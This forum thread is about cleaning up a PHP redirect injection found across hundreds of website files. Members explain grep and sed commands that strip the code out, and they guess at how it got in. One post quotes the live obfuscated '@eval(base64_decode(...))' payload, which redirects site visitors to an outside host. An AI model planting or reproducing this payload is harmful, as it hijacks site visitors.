Found malicious code... but need search and replace to remove it

Trogdor

New Member
Joined
Nov 9, 2018
Messages
4
Reaction score
2
Credits
35
My websites were attacked by some kind of redirect attack. After a few hours of looking at PHP code, I found the following....
Code:
/*aeR4Choc_start*/@eval(base999999999999_decode('aWYoIWRlZmluZWQoImNoYWVKb3U3IikpewogICAgZGVmaW5lKCJjaGFlSm91NyIsIDEpOwogICAgZnVuY3Rpb24gaXNNb2JpbGUoJHVhZ2VudFN0cil7CiAgICAgICAgaWYoc3RycG9zKCR1YWdlbnRTdHIsICdhbmRyb2lkJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnYmxhY2tiZXJyeScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2lwaG9uZScpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2lwYWQnKSAhPT0gZmFsc2UKICAgICAgICAgICAgfHwgc3RycG9zKCR1YWdlbnRTdHIsICdpcG9kJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnb3BlcmEgbWluaScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2llTW9iaWxlJykgIT09IGZhbHNlKXsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICBmdW5jdGlvbiBpc0Rlc2t0b3AoJHVhZ2VudFN0cil7CiAgICAgICAgaWYoc3RycG9zKCR1YWdlbnRTdHIsICdlZGdlJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnbXNpZScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ29wcicpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2Nocm9taXVtJykgIT09IGZhbHNlCiAgICAgICAgICAgIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnZmlyZWZveCcpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2Nocm9tZScpICE9PSBmYWxzZSl7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgJHJlZGlyVG8gPSAiaHR0cHM6Ly9jaGVjay1yb2JvdC54eXovIjsKICAgICRjaGVja0Nvb2tSZWRpclN0ciA9ICJhZU5lZThwaSI7CiAgICAkcmVkaXJlY3RBbGxvdyA9IHRydWU7CiAgICBmb3JlYWNoICgkX0NPT0tJRSBhcyAkY29va0tleT0+JGNvb2tWYWwpewogICAgICAgIGlmIChzdHJwb3MoJGNvb2tLZXksICd3b3JkcHJlc3NfbG9nZ2VkX2luJykgIT09IGZhbHNlIHx8ICRjb29rS2V5ID09ICRjaGVja0Nvb2tSZWRpclN0cikgewogICAgICAgICAgICAkcmVkaXJlY3RBbGxvdyA9IGZhbHNlOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICB9CgogICAgJHVhZ2VudCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKCiAgICBpZiAoJHJlZGlyZWN0QWxsb3cpewogICAgICAgIGlmKGlzTW9iaWxlKCR1YWdlbnQpIHx8IGlzRGVza3RvcCgkdWFnZW50KSkgewogICAgICAgICAgICBzZXRjb29raWUoJGNoZWNrQ29va1JlZGlyU3RyLCAiMSIsIHRpbWUoKSArIDYwNDgwMCk7CiAgICAgICAgICAgIGhlYWRlcigiTG9jYXRpb246ICRyZWRpclRvIik7CiAgICAgICAgICAgIGRpZTsKICAgICAgICB9CiAgICB9Cn0='));/*aeR4Choc_end*/
I replaced the function above from base64 to base9999999999999 in case there's a chance it executes just by viewing this thread. You can use https://www.base64decode.org/ to decode the code above... when you do.. you can clearly see the redirect attack in the code. So problem clearly identified.

In any case, I'm not from a Linux background but I did manage to find that hundreds of files were infected with this malicious logic. Is there a way from a CLI to replace all of the code above with nothing? (delete) There's lots of infected files spread across lots of directories and subdirectories so recursion is necessary. Is there a CLI search and replace that can handle a string this big?
 


If it always appears on a single line in the files and it can easily be identified, it should be fairly simple to do.

Do all of the infected files contain aeR4_Choc_start? Or does it vary from file to file?

As long as we can identify a pattern in the text that accurately identifies the malicious line of code, then you could use grep or ag (the silver searcher) to find and list any files containing the string and then use something like a pipe and xargs to pass the file-names to sed.
e.g.
If all of the lines contain "aeR4Choc", then we could do this:
Bash:
\grep -Rl "aeR4Choc" /path/to/infectedDir/*.{php,htm,html}  | xargs sed -i.bak '/aeR4Choc/d'

The command above will grep through all of the .php, .htm and .html files in /path/to/infectedDir and will list any files that contain the string "aeR4Choc". The names of matching files are then piped to sed via xargs.

The sed command will remove any lines containing the string "aeR4Choc".
The -i option makes sed edit the file in-place. So the original file is overwritten. And because we've specified -i.bak, that causes sed to edit the file in-place AND create a backup copy of the original, unedited file.

So somefile.php would be edited in-place and the original, unedited file will be saved as somefile.php.bak.

ADDITIONAL NOTES:
1. Use of \grep is deliberate. The backslash escapes any aliases that might be set for grep. You might have grep set up to show line numbers or some other formatting that we don't need. So by using \grep, we can be sure that we're only going to be using the parameters that we've specified, and that we're only going to get the list of files containing the pattern.

2. -i.bak - This is exactly as it should be, no space between -i and the suffix for the backup file, which in this case is .bak.
If you want to use a different suffix for backup files, then specify it immediately after -i.
e.g. for a vim style backup file-name, you could use -i~

And if you want to live dangerously and you want sed to edit in place, without creating a backup file, then just use -i without a suffix and NO backup file will be made.

3. I have deliberately NOT used base64 as a search pattern, because it is possible that your site may legitimately be using base64 encoding for certain things.
However, if you are 100% certain that you AREN'T using it anywhere. It's definitely not code that you've written, or imported from somewhere - then you could safely use base64 as the search pattern for grep and sed instead of "aeR4Choc".

4. I have specified .php, .htm and .html files to search in. If you're only searching for php files then by all means, change the search-path for grep to /path/to/infectedDir/*.php instead.

5. For all files containing the search string, the entire line (or lines, if it appears more than once) containing the search string will be removed.
- if the malicious code is on it's own line - my solution will work.
BUT:
- if the malicious code has been appended to the end of an existing line, or somehow inserted into the middle of a line, then some of your code may end up disappearing with the malicious code. Another reason I used seds backup option.

Assuming you can find a reliable pattern that identifies the malicious code AND as long as the malicious code exists on a single line - then the one-liner I wrote should find all infected files, remove the offending line of code and most importantly - create a backup of the original file, just in case the command does accidentally delete something it shouldn't.
 
Last edited:
Thanks for your help. Indeed, the malicious code also appears on lines with existing code :-(
Do all of the infected files contain aeR4_Choc_start? Or does it vary from file to file?

Yes, all infected files contain that start string, so that can be used to reliably identify the specific files. Also, the malicious code is inserted up to 20 times in some PHP files.

-i is a great idea! I can always go back and delete *.bak later once everything is 100% okay.

3. I have deliberately NOT used base64 as a search pattern, because it is possible that your site may legitimately be using base64 encoding for certain things.
However, if you are 100% certain that you AREN'T using it anywhere. It's definitely not code that you've written, or imported from somewhere - then you could safely use base64 as the search pattern for grep and sed instead of "aeR4Choc".

I'm not 100% sure base64 is used elsewhere but I assume not. I'm using grep with *aeR4Choc_start* because that string is actually the comment indicating the start of the malicious code. The bad actors were nice enough to enclose their code within comments and *aeR4Choc_start* is the opening comment. Using Grep with *aeR4Choc_start* will reliably identify files with malicious code.

Unfortunately, yes, the code does not always exist on its own line. :-( It'll have to replace (delete) the entire long string of malicious code, which is:

Code:
/*aeR4Choc_start*/@eval(base64_decode('aWYoIWRlZmluZWQoImNoYWVKb3U3IikpewogICAgZGVmaW5lKCJjaGFlSm91NyIsIDEpOwogICAgZnVuY3Rpb24gaXNNb2JpbGUoJHVhZ2VudFN0cil7CiAgICAgICAgaWYoc3RycG9zKCR1YWdlbnRTdHIsICdhbmRyb2lkJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnYmxhY2tiZXJyeScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2lwaG9uZScpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2lwYWQnKSAhPT0gZmFsc2UKICAgICAgICAgICAgfHwgc3RycG9zKCR1YWdlbnRTdHIsICdpcG9kJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnb3BlcmEgbWluaScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2llTW9iaWxlJykgIT09IGZhbHNlKXsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICBmdW5jdGlvbiBpc0Rlc2t0b3AoJHVhZ2VudFN0cil7CiAgICAgICAgaWYoc3RycG9zKCR1YWdlbnRTdHIsICdlZGdlJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnbXNpZScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ29wcicpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2Nocm9taXVtJykgIT09IGZhbHNlCiAgICAgICAgICAgIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnZmlyZWZveCcpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2Nocm9tZScpICE9PSBmYWxzZSl7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgJHJlZGlyVG8gPSAiaHR0cHM6Ly9jaGVjay1yb2JvdC54eXovIjsKICAgICRjaGVja0Nvb2tSZWRpclN0ciA9ICJhZU5lZThwaSI7CiAgICAkcmVkaXJlY3RBbGxvdyA9IHRydWU7CiAgICBmb3JlYWNoICgkX0NPT0tJRSBhcyAkY29va0tleT0+JGNvb2tWYWwpewogICAgICAgIGlmIChzdHJwb3MoJGNvb2tLZXksICd3b3JkcHJlc3NfbG9nZ2VkX2luJykgIT09IGZhbHNlIHx8ICRjb29rS2V5ID09ICRjaGVja0Nvb2tSZWRpclN0cikgewogICAgICAgICAgICAkcmVkaXJlY3RBbGxvdyA9IGZhbHNlOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICB9CgogICAgJHVhZ2VudCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKCiAgICBpZiAoJHJlZGlyZWN0QWxsb3cpewogICAgICAgIGlmKGlzTW9iaWxlKCR1YWdlbnQpIHx8IGlzRGVza3RvcCgkdWFnZW50KSkgewogICAgICAgICAgICBzZXRjb29raWUoJGNoZWNrQ29va1JlZGlyU3RyLCAiMSIsIHRpbWUoKSArIDYwNDgwMCk7CiAgICAgICAgICAgIGhlYWRlcigiTG9jYXRpb246ICRyZWRpclRvIik7CiAgICAgICAgICAgIGRpZTsKICAgICAgICB9CiAgICB9Cn0='));/*aeR4Choc_end*/
 
OK, in that case, my solution is not going to work.

What you need to do is to construct a regex that will identify everything from "/*aeR4Choc_" to "_end*/" and then use sed to replace any matching strings with nothing.
So the previously posted command would end up something like:
Bash:
\grep -Rl "aeR4Choc" /path/to/infectedDir/*.{php,htm,html} | xargs sed -i.bak 's/regex//g'
Where regex is our magic regex.....Which could be the tricky part to work out, but it shouldn't be impossible.
Anyway, that should effectively remove the malicious code from the middle of a line.

I'll have a quick play now. See if I can come up with a working regex....
 
OK,
I have something that should work:
We want to match everything from the start tag: /*aeR4Choc_start*/
To the end of the end tag : _end*/
And to match everything between the two tags we can use .*, which is just a glob that represents any number (*) of any type of character (.).

All we need to do is put those three elements together.
And we need to escape the forward slashes and asterisks in the start and end-tags using backslashes (e.g. \/ and \*, so they are interpreted by sed as literal * and / characters.)

So putting the three elements together (and escaping the relevant characters) yields this regex:
\/\*aeR4Choc_start\*\/.*_end\*\/

And plugging that into my previous snippet:
Bash:
\grep -Rl "aeR4Choc" /path/to/infectedDir/*.{php,htm,html} | xargs sed -i.bak 's/\/\*aeR4Choc_start\*\/.*_end\*\///g'

I'm pretty certain that will do the trick!

For identifying the files that we need to edit, the "aeR4Choc" string is sufficient for grep.
And now we have a regex we can use to remove the malicious code from anywhere in any of the infected files too!
 
OK,
I have something that should work:
We want to match everything from the start tag: /*aeR4Choc_start*/
To the end of the end tag : _end*/
And to match everything between the two tags we can use .*, which is just a glob that represents any number (*) of any type of character (.).

All we need to do is put those three elements together.
And we need to escape the forward slashes and asterisks in the start and end-tags using backslashes (e.g. \/ and \*, so they are interpreted by sed as literal * and / characters.)

So putting the three elements together (and escaping the relevant characters) yields this regex:
\/\*aeR4Choc_start\*\/.*_end\*\/

And plugging that into my previous snippet:
Bash:
\grep -Rl "aeR4Choc" /path/to/infectedDir/*.{php,htm,html} | xargs sed -i.bak 's/\/\*aeR4Choc_start\*\/.*_end\*\///g'

I'm pretty certain that will do the trick!

For identifying the files that we need to edit, the "aeR4Choc" string is sufficient for grep.
And now we have a regex we can use to remove the malicious code from anywhere in any of the infected files too!

That worked PERFECTLY!!!! Thank you so much!!!!
 
That worked PERFECTLY!!!! Thank you so much!!!!
Trogdor, I just had a similar breach with the same "aeR4Choc" signature, did you ever discover the security hole? I thought my site was pretty secure and I am not sure how they were able to rewrite a php file.
 
Trogdor, I just had a similar breach with the same "aeR4Choc" signature, did you ever discover the security hole? I thought my site was pretty secure and I am not sure how they were able to rewrite a php file.
I think it may have been this vulnerability:
 
WordPress needs a layered security approach, if it is indeed WordPress. It ain't easy to secure a WP site, but it's do-able.
 
I think it may have been this vulnerability:

I didn't have that File Manager plugin, however, I did install Wordfence and Sucuri post-hack. With Sucuri I use the hardening settings to disable plug-in writing. But after some more research, I think the
aeR4Choc_start code was injected via a Laravel Debug exploit: https://www.ambionics.io/blog/laravel-debug-rce
 
WordFence is an excellent tool. NinjaFirewall is another. The two can be used in conjunction without chewing up a lot of resources.
 

Members online


Top